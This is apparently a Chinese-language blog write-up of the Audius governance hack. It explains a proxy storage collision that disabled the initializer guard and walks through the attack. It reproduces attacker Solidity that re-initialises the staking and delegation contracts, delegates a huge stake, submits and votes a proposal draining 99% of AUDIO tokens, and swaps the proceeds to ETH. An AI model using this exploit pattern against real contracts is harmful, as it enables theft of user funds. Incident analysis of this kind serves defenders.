Audius Storage冲突漏洞分析

说明

基本信息

漏洞函数

在合约Initializable (0x35dd16dfa4ea1522c29ddd087e8f076cad0ae5e8)中的变量initializedinitializing都是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
contract Initializable {

/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;

/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;

/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");

bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}

_;

if (isTopLevelCall) {
initializing = false;
}
}

/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}

// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}

Initializable合约中的initializedinitializing都是bool类型,由于 initializedinitializing 都是 bool 类型变量,因此他们各自都只占据一字节,所以说它们俩实际上是被打包放在了 slot 0 中。

通过实际的检测分析也得出的是一样的结论:

image-20230308114010919

上面是在实现合约中的分析结果。

下面继续分析在代理合约0x4DEcA517D6817B6510798b7328F2314d3003AbAC中的结果。分析在代理合约中的storage layout。

发现在代理合约中slot 0的结果是proxyAdmin

代理合约和实现合约在同一个Slot中对应的是不同的变量,这样就造成了storage collision类型的漏洞。

接下来就是看看在代理合约 0x4DEcA517D6817B6510798b7328F2314d3003AbAC 中的slot 0的结果,通过cast storage的方式查看得到如下结论:

1
2
$ cast storage 0x18aAA7115705e8be94bfFEBDE57Af9BFc265B998 0  --rpc-url=https://rpc.ankr.com/eth
0x0000000000000000000000004deca517d6817b6510798b7328f2314d3003abac

代理合约中的proxyAdmin0x0000000000000000000000004deca517d6817b6510798b7328f2314d3003abac 如何对应到实现合约中的initializedinitializing上呢?

对应关系如下所示:

可以看到最终initializedinitializing分别映射到了0xab0xac中,存在冲突,与预期的不一致。

initializedinitializing 这两个变量的值使用了 ProxyAdmin 实际值的最后两个字节!而恰好最后两个字节(0xAB, 0xAC)都是非零值,这也就造成在实际可升级合约的数据读取中,initializedinitializing 的值总是 true

这个冲突具体会造成什么样的后果呢?分析initializer 这个修饰符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");

bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}

_;

if (isTopLevelCall) {
initializing = false;
}
}
  1. require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); 因为initializing为true,所以require的结果是True。
  2. bool isTopLevelCall = !initializing;, 所以isTopLevelCall 为False,那么后面的代码都不会执行。

所以initializedinitializing 的值总是 true,就导致了修饰符initializer返回的永远都是True,即没有任何的作用。

攻击分析

84号提案

governanceAddress

通过initialize()函数将governanceAddress设置为攻击合约的地址。

evaluateProposalOutcome

提议84号提案。

按照audius官方的说明

Governance proposal #84 was created to transfer the entirety of the Audius community pool to the attacker’s wallet (0xa62c3ced6906b188a4d4a3c981b79f2aabf2107f), but did not pass quorum, so failed during execution.
https://dashboard.audius.org/#/governance/proposal/84

没有通过法定人数,因此在执行过程中失败。

85号提案

submitProposal

1
2
3
4
5
6
7
8
uint256 audioBalance_gov = IERC20(AUDIO).balanceOf(governance);
uint256 stealAmount = audioBalance_gov * 99 / 1e2; // Steal 99% of AUDIO Token from governance address
IGovernence(governance).submitProposal(bytes32(uint(3078)), 0, "transfer(address,uint256)", abi.encode(address(this), stealAmount), "Hello", "World");

IStaking(staking).initialize(address(this), address(this));
IDelegateManagerV2(delegatemanager).initialize(address(this), address(this), 1);
IDelegateManagerV2(delegatemanager).setServiceProviderFactoryAddress(address(this));
IDelegateManagerV2(delegatemanager).delegateStake(address(this), 1e31);
submitVote
1
IGovernence(governance).submitVote(85, IGovernence.Vote(2));

对应的tx是 0x3c09c6306b67737227edc24c663462d870e7c2bf39e9ab66877a980c900dd5d5

evaluateProposalOutcome
1
IGovernence(governance).evaluateProposalOutcome(85);

对应的tx是:0x4227bca8ed4b8915c7eec0e14ad3748a88c4371d4176e716e8007249b9980dc9

创建治理提案 #85 以将整个 Audius 社区池转移到攻击者的钱包(0xbdbb5945f252bc3466a319cdcc3ee8056bf2e569)并成功执行。

最红获利代币

SWAP

将所有获得代币全部转换为ETH

对应的tx:0x82fc23992c7433fffad0e28a1b8d11211dc4377de83e88088d79f24f4a3f28b3

攻击者将攻击获得的18564497819999999999735541代币全部转换为ETH,获得704177543861243828018

获利

根据最终的SWAP交易,最终攻击者获利约为704个ETH。按照当时的价格换算是1.08M。

总结

连续分了两个和Storage Collision的漏洞。从分析过程也可以发现,智能合约的开发人员如果对代理模式不够了解,很容易就写出的Storage Collision漏洞,而且这种类型的漏洞很难被发现。

但是即使存在Storage Collision类型的问题,也不一定会形成漏洞,一般是需要合约中的其他的条件。

参考

https://mirror.xyz/xyyme.eth/IQ8uMgQ11S7YK_Tt4sR3E1iPq6MBrdu5WqHwdFPwWuw

https://twitter.com/BeosinAlert/status/1551041795735408641

https://etherscan.io/address/0x35dd16dfa4ea1522c29ddd087e8f076cad0ae5e8#code

文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2023/03/09/Audius-vuln/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow